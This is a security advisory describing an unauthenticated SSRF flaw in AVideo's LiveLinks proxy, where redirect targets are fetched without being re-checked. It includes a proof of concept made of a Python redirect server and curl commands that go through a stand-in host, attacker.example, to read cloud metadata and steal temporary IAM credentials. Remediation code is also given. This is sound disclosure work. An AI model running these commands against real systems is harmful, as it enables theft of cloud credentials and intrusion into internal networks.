## Summary
The `plugin/LiveLinks/proxy.php` endpoint validates user-supplied URLs against internal/private networks using `isSSRFSafeURL()`, but only checks the initial URL. When the initial URL responds with an HTTP redirect (`Location` header), the redirect target is fetched via `fakeBrowser()` without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect.
## Affected Component
- `plugin/LiveLinks/proxy.php` — lines 38-42 (redirect handling without SSRF re-validation)
- `objects/functionsBrowser.php` — `fakeBrowser()` (line 123, raw cURL fetch with no SSRF protections)
## Description
### Missing SSRF re-validation after HTTP redirect
The `proxy.php` endpoint validates the user-supplied `livelink` parameter against internal networks on line 18, using the comprehensive `isSSRFSafeURL()` function (which blocks private IPs, loopback, link-local/metadata, cloud metadata hostnames, and resolves DNS to detect rebinding). However, after calling `get_headers()` on line 38 — which follows HTTP redirects — the code extracts the `Location` header and passes it directly to `fakeBrowser()` without re-applying the SSRF check:
```php
// plugin/LiveLinks/proxy.php — lines 17-42
// SSRF Protection: Block requests to internal/private networks
if (!isSSRFSafeURL($_GET['livelink'])) { // line 18: only checks initial URL
_error_log("LiveLinks proxy: SSRF protection blocked URL: " . $_GET['livelink']);
echo "Access denied: URL targets restricted network";
exit;
}
// ... stream context setup ...
$headers = get_headers($_GET['livelink'], 1, $context); // line 38: follows redirects
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"]; // line 40: attacker-controlled redirect target
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']); // line 42: fetches internal URL, NO SSRF check
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
```
### No SSRF protections in fakeBrowser()
The `fakeBrowser()` function in `objects/functionsBrowser.php` performs a raw cURL GET with no URL validation:
```php
// objects/functionsBrowser.php — lines 123-141
function fakeBrowser($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 ...');
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
```
No IP validation, no scheme restriction, no redirect control — any URL passed to this function is fetched unconditionally.
### Endpoint is fully unauthenticated
The file begins by explicitly opting out of database and session initialization:
```php
$doNotConnectDatabaseIncludeConfig = 1;
$doNotStartSessionbaseIncludeConfig = 1;
require_once '../../videos/configuration.php';
```
There is no `.htaccess` rule restricting access to `proxy.php`, and the root `.htaccess` confirms the plugin directory is routable (line 248: `RewriteRule ^plugin/([^...]+)/(.*)?$ plugin/$1/$2`).
### Inconsistent defense pattern
The codebase demonstrates awareness of SSRF risks — `isSSRFSafeURL()` is used in 5 other locations (`aVideoEncoder.json.php:303`, `aVideoEncoderReceiveImage.json.php:67,107,135,160`, `AI/receiveAsync.json.php:177`). However, none of these callers deal with HTTP redirects. The `proxy.php` endpoint is the only one that follows redirects, and it is the only one that fails to re-validate after following them.
### Double SSRF exposure
There are actually two SSRF requests in the redirect path:
1. `get_headers()` (line 38) follows the redirect to the internal IP to fetch response headers
2. `fakeBrowser()` (line 42) fetches the full response body from the internal IP
The second is more impactful as it returns the full content to the attacker.
## Proof of Concept
**Step 1:** Set up an attacker-controlled server that returns a 302 redirect to an internal target:
```python
# redirect_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8080), RedirectHandler).serve_forever()
```
**Step 2:** Send the request to the target AVideo instance:
```bash
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect"
```
**Expected result:** The response will contain the cloud metadata listing (e.g., `ami-id`, `instance-id`, `iam/`) prefixed with `http://169.254.169.254:` on each line. The attacker strips the prefix to recover the original metadata content.
**Step 3:** Escalate to IAM credential theft:
```bash
# Redirect to: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
curl -s "https://TARGET/plugin/LiveLinks/proxy.php?livelink=https://attacker.example:8080/redirect-iam"
```
This returns temporary AWS credentials (`AccessKeyId`, `SecretAccessKey`, `Token`) that can be used to access cloud resources.
## Impact
- **Cloud metadata exposure:** Attacker can read instance metadata on AWS (169.254.169.254), GCP (metadata.google.internal), and Azure (169.254.169.254) cloud deployments, including IAM role credentials
- **Internal network scanning:** Attacker can probe RFC1918 addresses (10.x, 172.16-31.x, 192.168.x) and localhost services to map internal infrastructure
- **Internal service data exfiltration:** Any HTTP GET-accessible internal service (databases with HTTP interfaces, admin panels, monitoring dashboards) can have its content read and returned to the attacker
- **No authentication required:** The attack is fully unauthenticated, requiring only network access to the AVideo instance
## Recommended Remediation
### Option 1: Re-validate the redirect target with isSSRFSafeURL() (preferred)
Apply the same SSRF check to the redirect URL before fetching it:
```php
$headers = get_headers($_GET['livelink'], 1, $context);
if (!empty($headers["Location"])) {
$_GET['livelink'] = $headers["Location"];
// Re-validate redirect target against SSRF
if (!isSSRFSafeURL($_GET['livelink'])) {
_error_log("LiveLinks proxy: SSRF protection blocked redirect URL: " . $_GET['livelink']);
echo "Access denied: Redirect URL targets restricted network";
exit;
}
$urlinfo = parse_url($_GET['livelink']);
$content = fakeBrowser($_GET['livelink']);
$_GET['livelink'] = "{$urlinfo["scheme"]}://{$urlinfo["host"]}:{$urlinfo["port"]}";
}
```
### Option 2: Disable redirect following in get_headers()
Prevent `get_headers()` from following redirects entirely by adding `follow_location` to the stream context:
```php
$options = array(
'http' => array(
'user_agent' => '...',
'method' => 'GET',
'header' => array("Referer: localhost\r\nAccept-language: en\r\nCookie: foo=bar\r\n"),
'follow_location' => 0, // Do not follow redirects
'max_redirects' => 0,
)
);
```
Then validate the `Location` header with `isSSRFSafeURL()` before following it manually. This approach prevents the `get_headers()` call itself from performing SSRF via the redirect.
**Note:** Option 1 is simpler but still allows `get_headers()` to make an initial request to the redirect target (header-only SSRF). Option 2 eliminates both SSRF vectors. Both options should be combined for defense-in-depth.
## Credit
This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).